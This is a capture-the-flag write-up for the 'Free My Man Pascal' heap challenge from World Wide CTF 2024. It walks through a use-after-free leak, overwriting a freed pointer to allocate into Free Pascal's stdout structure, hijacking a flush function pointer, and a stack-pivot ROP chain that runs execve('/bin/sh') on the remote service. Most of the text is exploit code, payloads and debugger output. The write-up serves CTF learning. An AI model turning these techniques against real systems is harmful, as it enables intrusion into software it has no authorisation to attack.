World Wide CTF 2024 - Free My Man Pascal Free My Man Pascal
500 / medium
Author: numb3rs
plz free pascal
nc freemyman.chal.wwctf.com 1337
Team: Weak But Leet
Free My Man Pascal
==================================
1. Add a request
2. Edit a request
3. Show a request
4. Delete a request
5. Add data
6. Exit
>>
From the functions defined and the challenge name, this challenge seemed to be written in Free Pascal
. Didn’t really invest much time into reversing it, but just assumed, that it will be some use-after-free kind of vulnerability and just went on dynamically debugging it.
And from some quick tests, it seemed that this was indeed the case.
r.recvuntil(b">> ")
add(b"A" * 0x10, b"B" * 0x10)
add(b"A" * 0x10, b"B" * 0x10)
free(1)
free(2)
LEAK = view(1)
print(hexdump(LEAK))
[+] Starting local process './freemyman': pid 325099
[325099]
[*] Paused (press any to continue)
00000000 12 fb f7 ff 7f 00 00 78 11 fb f7 ff 7f 00 00 41 │····│···x│····│···A│
00000010 00 00 00 00 00 00 00 00 0a 0d 42 42 42 42 42 42 │····│····│··BB│BBBB│
00000020 42 42 42 42 42 42 42 42 42 42 0a 0d │BBBB│BBBB│BB··│
0000002c
It seems that for the freed pointer we don’t control the LSB (only bytes 1-6), so we don’t have “full” control over it when overwriting it, but we can use it to shove the next chunks around a bit…
Since we can edit the freed chunk again, we can just overwrite the next free pointer in the chunk and let it point somewhere else.
I thought about overwriting some exitfuncs
kind of structure and after testing out some of the global function pointers, I stumbled across U_$SYSTEM_$$_STDOUT
as a working target.
0x483600 <U_$SYSTEM_$$_STDOUT>: 0x0000000000000000 0x0000d7b200000001
0x483610 <U_$SYSTEM_$$_STDOUT+16>: 0x0000000000000100 0x0000000000000000
0x483620 <U_$SYSTEM_$$_STDOUT+32>: 0x0000000000000000 0x0000000000000000
0x483630 <U_$SYSTEM_$$_STDOUT+48>: 0x000000000048387c 0x000000000041c580
0x483640 <U_$SYSTEM_$$_STDOUT+64>: 0x000000000041c520 0x000000000041c520
0x483650 <U_$SYSTEM_$$_STDOUT+80>: 0x000000000041c4d0 0x0000000000000000
0x483660 <U_$SYSTEM_$$_STDOUT+96>: 0x0000000000000000 0x0000000000000000
0x483670 <U_$SYSTEM_$$_STDOUT+112>: 0x0000000000000000 0x0000000000000000
0x483680 <U_$SYSTEM_$$_STDOUT+128>: 0x0000000000000000 0x0000000000000000
0x483690 <U_$SYSTEM_$$_STDOUT+144>: 0x0000000000000000 0x0000000000000000
We can allocate another chunk into this and overwrite the function pointers in it. One of those should get triggered when the challenge exists and tries to flush stdout
.
payload1 = p64(0x483618)[1:8] + p64(0xdeadbeef)
payload2 = p64(0xfacebabe)
edit(2, payload1, payload2)
add(b"A" * 0x10, b"B" * 0x10)
The next chunk would now get allocated into the stdout
structure. Let’s see, what will happen, if we just fill it up with garbage.
payload = cyclic_metasploit(0x40)
payload2 = cyclic_metasploit(0x40)
add(payload, payload2)
Program received signal SIGSEGV, Segmentation fault.
0x000000000041cc8b in SYSTEM_$$_FLUSH$TEXT ()
─────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0000000000483d08 → 0x0000000000000000
$rbx : 0x0000000000483608 → 0x0000d7b200000001
$rcx : 0x0000000000401eb7 → <SYSTEM_$$_FPSYSCALL$INT64$INT64$INT64$INT64$$INT64+0017> cmp rax, 0xfffffffffffff001
$rdx : 0x0
$rsp : 0x00007fffffffd330 → 0x0000000000483988 → 0x0000d7b200000002
$rbp : 0x00007fffffffd490 → 0x0000000000000000
$rsi : 0x00000000004851f0 → "Exiting program...\n\r\rfully!\n\r\n\r-2): "
$rdi : 0x0000000000483608 → 0x0000d7b200000001
$rip : 0x000000000041cc8b → <SYSTEM_$$_FLUSH$TEXT+00ab> call QWORD PTR [rbx+0x38]
$r8 : 0x00007ffff7fb92b0 → 0x0765076507720746
$r9 : 0x0
$r10 : 0x3262413162413062 ("b0Ab1Ab2"?)
$r11 : 0x206
$r12 : 0x0
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x41cc81 <SYSTEM_$$_FLUSH$TEXT+00a1> mov WORD PTR [rax], 0x67
0x41cc86 <SYSTEM_$$_FLUSH$TEXT+00a6> jmp 0x41cc8e <SYSTEM_$$_FLUSH$TEXT+174>
0x41cc88 <SYSTEM_$$_FLUSH$TEXT+00a8> mov rdi, rbx
→ 0x41cc8b <SYSTEM_$$_FLUSH$TEXT+00ab> call QWORD PTR [rbx+0x38]
0x41cc8e <SYSTEM_$$_FLUSH$TEXT+00ae> pop rbx
0x41cc8f <SYSTEM_$$_FLUSH$TEXT+00af> ret
0x41cc90 <SYSTEM_$$_ERASE$TEXT+0000> push rbx
0x41cc91 <SYSTEM_$$_ERASE$TEXT+0001> mov rbx, rdi
0x41cc94 <SYSTEM_$$_ERASE$TEXT+0004> lea rax, [rip+0x68145] # 0x484de0 <FPC_THREADVAR_RELOCATE>
gef➤ x/gx $rbx+0x38
0x483640 <U_$SYSTEM_$$_STDOUT+64>: 0x3562413462413362
Looking good, so we control the value at rbx+0x38
. rdi
will point to stdout+0x8
at this point.
We just need a fitting gadget to pivot the stack into our allocated chunk and also to change rdi
to point to a more controllable address.
0x40296f
mov edi,DWORD PTR [rdi+0x28];
mov rsp, qword ptr [rdi + 0x30];
jmp qword ptr [rdi + 0x38];
Perfect :)
This will set rdi
to [rdi+0x28]
and rsp
to [rdi+0x30]
and then jump to [rdi+0x38]
. And we control all of those values.
STACKPIVOT = 0x40296c
# 0x0000000000402dac: pop rsi; pop r13; pop r12; pop rbx; ret;
POPRSI3 = 0x0000000000402dac
POPRAX = 0x0000000000413c23
SYSCALL = 0x0000000000401fa7
payload = b"/bin/sh\x00" + p64(0)
payload += p64(0x0) + p64(0x483618) # X / new rdi
payload += p64(0x0) + p64(STACKPIVOT) # X / stack pivot
payload += p64(0x483660) + p64(POPRAX) # rsp / new jmp
payload2 = b"\x00" * 7
payload2 += p64(59)
payload2 += p64(POPRSI3) + p64(0)
payload2 += p64(0) + p64(0)
payload2 += p64(0) + p64(SYSCALL)
add(payload, payload2)
Flushing stdout will now trigger our stack pivot, which will set rdi
to 0x483618
(the address where we put the /bin/sh
string), set rsp
to 0x483660
, where the content of our chunk is stored (payload2
) and then call rdi+0x38
, which is pop rax; ret
.
Since we moved rsp
to the beginning of content, this will now set rax
to 59
(execve
) and then clear rsi
and execute execve("/bin/sh", 0, 0)
.
$ python3 xpl.py 1
[+] Opening connection to freemyman.chal.wwctf.com on port 1337: Done
[*] Switching to interactive mode
Exiting program...
$ ls
flag.txt
freemyman
$ cat flag.txt
wwf{P4sc4l_U4f_FTW_174a3f4fa44c7bb22b}